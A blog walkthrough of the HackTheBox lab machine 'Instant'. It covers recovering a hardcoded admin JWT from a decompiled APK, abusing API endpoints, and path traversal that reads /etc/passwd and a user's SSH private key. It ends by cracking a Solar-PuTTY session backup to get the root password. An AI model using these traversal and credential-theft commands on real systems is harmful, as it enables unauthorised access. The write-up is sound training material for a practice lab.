HackTheBox - Instant Walkthrough

HackTheBox - Instant Walkthrough

Introduction

Yeah, it's been a while since posting...

Today, I am going to walk through Instant on Hack the Box, which was a medium-rated machine created by tahaafarooq. The machine started off with a pretty basic web page that didn't offer a lot of functionality other than to download an APK. We then had to explore that APK to discover additional information to gain an initial foothold and then vertically escalate to root.

Without further ado, let's do this.

Initial Enumeration

As always, I started off with an initial Nmap scan to identify open ports on the host. After the scan completed, there were only two ports open - 22 and 80.

# Nmap 7.94SVN scan initiated Mon Nov  4 21:46:38 2024 as: /usr/lib/nmap/nmap -T4 -p- -vvv -oN scans/instant-initial 10.10.11.37
Nmap scan report for 10.10.11.37
Host is up, received echo-reply ttl 63 (0.072s latency).
Scanned at 2024-11-04 21:46:38 EST for 16s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

I ran a new Nmap scan, but this time running default scripts and version detection while only scanning the open ports.

# Nmap 7.94SVN scan initiated Mon Nov  4 21:47:17 2024 as: /usr/lib/nmap/nmap -sC -sV -p22,80 -oN scans/instant-openports 10.10.11.37
Nmap scan report for 10.10.11.37
Host is up (0.053s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

22 - SSH

SSH is almost never going to be the initial way into a machine, so I skipped it until I had either credentials or a private key to authenticate with.

80 - HTTP

Port 80 was trying to redirect to http://instant.htb, so I added the domain to my hosts file and then scanned just port 80, but this time with the domain name.

# Nmap 7.94SVN scan initiated Mon Nov  4 21:49:41 2024 as: /usr/lib/nmap/nmap -sC -sV -p80 -oN scans/port80-vhost instant.htb
Nmap scan report for instant.htb (10.10.11.37)
Host is up (0.050s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Instant Wallet
|_http-server-header: Apache/2.4.58 (Ubuntu)

After adding the domain to the hosts file, I visited the page to reveal a static HTML page for a service called Instant.

There really was not much functionality other than to download an APK called instant.apk. So I did just that. There really wasn't much left to explore on the page, so I moved on from the web application.

http://instant.htb/downloads/instant.apk

Reverse Engineering the APK

This should be fun - I have never reverse engineered an Android APK before. I have only dealt with them when side loading when I daily drove an android, but I have never decompiled one.

A video Engineer Man about decompiling APKs proved very useful and I followed his walkthrough to download a precompiled Linux binary of Jadx and went from there. Such a helpful video. I have watched him for a while and puts out great content.

GitHub - skylot/jadx: Dex to Java decompiler
Dex to Java decompiler. Contribute to skylot/jadx development by creating an account on GitHub.

Used Jadx to decompile instant.apk

⏺ instance/apk > ~/Downloads/bin/jadx instant.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
INFO  - loading ...
INFO  - processing ...
ERROR - finished with errors, count: 13  

I opened the project folder in Sublime Text and searched for instant.htb and found a few interesting items:

  1. References to a few new subdomains which I added to my hosts file so I could visit them later.
    1. mywalletv1.instant.htb
    2. swagger-ui.instant.htb
  2. A JSON Web Token (JWT) for the mywalletv1.instant.htb subdomain. This JWT proved very useful later on.

I could have used jwt.io to decode this JWT, but I wanted a way to do it via the command line for a change of pace. I started to look around for my options. I ended up using the jwtd function provided in the following article -

Decoding JSON Web Tokens (JWTs) from the Linux command line -- Prefetch Technologies
Decoding JSON Web Tokens (JWTs) from the Linux command line

Using this function, I decoded the JWT and found that it likely belonged to an administrator-level user. This could have also been inferred by the JWT being found in the TestAdminAuthorization function within the APK.

⏺ htb/instant > jwtd eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "id": 1,
  "role": "Admin",
  "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
  "exp": 33259303656
}
Signature: v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA

I used curl with the URL found in the TestAdminAuthorization function of the APK with the JWT which successfully returned information about the user instantAdmin.

💡
As we are dealing with JSON as an output, I am piping the output of curl to jq to make reading the response a little easier on the eyes by properly formatting it.
⏺ htb/instant > curl -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/view/profile | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   236  100   236    0     0    919      0 --:--:-- --:--:-- --:--:--   921
{
  "Profile": {
    "account_status": "active",
    "email": "admin@instant.htb",
    "invite_token": "instant_admin_inv",
    "role": "Admin",
    "username": "instantAdmin",
    "wallet_balance": "10000000",
    "wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
  },
  "Status": 200
}

Poking Around Swagger

I turned my attention to the other subdomain found in the APK http://swagger-ui.instant.htb which revealed additional API endpoints the application supported.

There was an endpoint at /api/v1/admin/list/users which would list all users in the database. I decided to check this out since it sounded interesting.

I used curl again with this API endpoint to find there were three users in the database: instantAdmin, shirohige, and a generic account. This information, by itself, was not very helpful at the current time, but it is always a good idea to enumerate everything you come across, whether it helps right then and there or not.

⏺ htb/instant > curl -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/list/users | jq 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   496  100   496    0     0   1934      0 --:--:-- --:--:-- --:--:--  1937
{
  "Status": 200,
  "Users": [
    {
      "email": "admin@instant.htb",
      "role": "Admin",
      "secret_pin": 87348,
      "status": "active",
      "username": "instantAdmin",
      "wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
    },
    {
      "email": "shirohige@instant.htb",
      "role": "instantian",
      "secret_pin": 42845,
      "status": "active",
      "username": "shirohige",
      "wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
    },
    {
      "email": "string",
      "role": "instantian",
      "secret_pin": 12345,
      "status": "active",
      "username": "string",
      "wallet_id": "d763d567-143f-4a61-99f3-e613419011b7"
    }
  ]
}

Beating up more API endpoints

There were two other API endpoints which would list aviablaile logs and another to read the logs returned by the first endpoint.

I started by listing any available logs with via the /api/v1/admin/view/logs endpoint which returned a single log file called 1.log located in /home/shirohige/logs/ – that name sure does ring a bell...

⏺ htb/instant > curl -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/view/logs | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    64  100    64    0     0    240      0 --:--:-- --:--:-- --:--:--   241
{
  "Files": [
    "1.log"
  ],
  "Path": "/home/shirohige/logs/",
  "Status": 201
}

Now that I had the name of a log file, I used the second API endpoint to read the contents of the application log. The API endpoint required a parameter called log_file_name which in my case would be set to 1.log.

The log file did not really return much of anything of substance.

⏺ htb/instant > curl -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/read/log\?log_file_name\=1.log | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    79  100    79    0     0    383      0 --:--:-- --:--:-- --:--:--   383
{
  "/home/shirohige/logs/1.log": [
    "This is a sample log testing\n"
  ],
  "Status": 201
}

However, my hacker-senses were tingling. We have a parameter called log_file_name and is accepting user input to then display the contents of a log file, what if we supply it a file that was not 1.log?

Rather than supplying 1.log like I did before, I instead supplied log_file_name=../../../../etc/passwd and what do you know, it returned the contents of /etc/passwd.

💡
I used --path-as-is here to ensure curl would accept ../../ without trying squash them which could break the directory traversal sequence.
⏺ htb/instant > curl --path-as-is -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/read/log\?log_file_name\=../../../../etc/passwd | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1676  100  1676    0     0   7649      0 --:--:-- --:--:-- --:--:--  7618
{
  "/home/shirohige/logs/../../../../etc/passwd": [
    "root:x:0:0:root:/root:/bin/bash\n",
    <snipped>
    "shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
    "_laurel:x:999:990::/var/log/laurel:/bin/false\n"
  ],
  "Status": 201
}

Okay cool, I could get /etc/passwd. Now what? Here is where we stand right now:

  1. We know there is a user called shirohige as not only are they a user in the web application (confirmed via the API), but the account was also in /etc/passwd
  2. We know the API returned a log file located in /home/shirohige/logs which means it can at least read files from the user's home directory.
  3. We discovered a directory traversal vulnerability that allows us to read arbitrary file contents outside the intended path specified by the web application.
  4. The SSH service is listening on port 22

What does all of this mean? Well, what if we moved up one directory in the user's home directory and then move into .ssh and try and read their SSH private key?

I used log_file_name=../.ssh/id_rsa with the previous curl command to move up one directory and navigate to the .ssh directory and was able to read shirohige's SSH private key.

⏺ htb/instant > curl --path-as-is -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/read/log\?log_file_name\=../.ssh/id_rsa | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2809  100  2809    0     0  16322      0 --:--:-- --:--:-- --:--:-- 16331
{
  "/home/shirohige/logs/../.ssh/id_rsa": [
    "-----BEGIN OPENSSH PRIVATE KEY-----\n",
    "b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\n",
    "NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B\n",
   <snipped>
    "5VNy/4CNnMdXALx0OMVNNoY1wPTAb0x/Pgvm24KcQn/7WCms865is11BwYYPaig5F5Zo1r\n",
    "bhd6Uh7ofGRW/5AAAAEXNoaXJvaGlnZUBpbnN0YW50AQ==\n",
    "-----END OPENSSH PRIVATE KEY-----\n"
  ],
  "Status": 201
}

Initial Foothold as shirohige

With shirohige's SSH private key in hand, I cleaned it up a bit and saved it locally as shirohige.id_rsa. I then chmod'd it to 600 and used it to successfully SSH to the box as shirohige.

⏺ htb/instant > vim shirohige.id_rsa

⏺ htb/instant > chmod 600 shirohige.id_rsa 

⏺ htb/instant > ssh -i shirohige.id_rsa shirohige@instant.htb
The authenticity of host 'instant.htb (10.10.11.37)' can't be established.
ED25519 key fingerprint is SHA256:r+JkzsLsWoJi57npPp0MXIJ0/vVzZ22zbB7j3DWmdiY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'instant.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Nov  5 02:17:45 2024 from 10.10.16.70

Reading user.txt

shirohige@instant:~$ cat user.txt
12****************************d7

Userland Enumeration

I started to poke around the box and did the following:

  1. Checked sudo privileges with sudo -l but needed a password which I did not have at the time.
  2. Enumerated SUID binaries with find / -type f -perm -u=s 2>/dev/null which only returned binaries I would expect to see on the box.
  3. Local ports with netstat -tuln only returned two HTTP ports but one of them did not work and the other one was used for the Swagger UI.
  4. Listing the crontab with crontab -l did not return anything
  5. Nothing in /var/mail or /var/backup

I always make sure to check out /opt which this time around, yieled a Solar PuTTY session file at /opt/backups/Solar-PuTTY/sessions-backup.dat

shirohige@instant:/opt/backups/Solar-PuTTY$ ls -l
total 4
-rw-r--r-- 1 shirohige shirohige 1100 Sep 30 11:38 sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ cat sessions-backup.dat 
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/<snip>
zcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g

This appeared to be a Solar PuTTY session export, which was very interesting knowing what it is used for and could potentially hold sensitive information such as credentials we could use.

After some time researching what to do with this file, I stumbled across the following script, which could be used to brute-force the session file to recover the contents of the session export file.

GitHub - RainbowCache/solar_putty_crack: Cracks Solar PuTTY session files.
Cracks Solar PuTTY session files. Contribute to RainbowCache/solar_putty_crack development by creating an account on GitHub.

Privilege Escalation to Root

I used SCP to copy the session export file from the host to my local machine so I could then use the script with it.

⏺ htb/instant > scp -i shirohige.id_rsa shirohige@instant.htb:/opt/backups/Solar-PuTTY/sessions-backup.dat ./loot
sessions-backup.dat

Running the script with rockyou.txt against the sessions export file was successful in dumping the contents of the export, which included the plaintext password for root.

⏺ ~/Downloads > ./sp_crack /usr/share/wordlists/rockyou.txt ~/Documents/ctf/htb/instant/loot/sessions-backup.dat
Current platform cannot try to decrypt session data without password: Operation is not supported on this platform.
This is expected on Linux and MacOS. Will continue to try to decrypt with password.
Decrypted: {"Sessions":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12*************12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\Sessio
Password founnd: estrella

With root's password in hand, I switched to root and that was the box.

hirohige@instant:/$ su root
Password: 
root@instant:/# whoami && hostname && ifconfig
root
instant
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.37  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb0:f626  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb0:f626  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b0:f6:26  txqueuelen 1000  (Ethernet)
        RX packets 2133559  bytes 309797099 (309.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2144499  bytes 942028199 (942.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

aaaaaaand getting the root flag

root@instant:~# cat root.txt
80****************************12

Thank you for reading my walkthrough! I really enjoyed the chance to reverse engineer the APK as it is something I have never done so it was a challenge at first but glad I stuck with it to the end.

Until next time!

Kyle Gray

Kyle Gray

Hey there 👋 Certs - ITILv3, eJPT, PNPT, CRTP, CRTE, PJPT, CRTO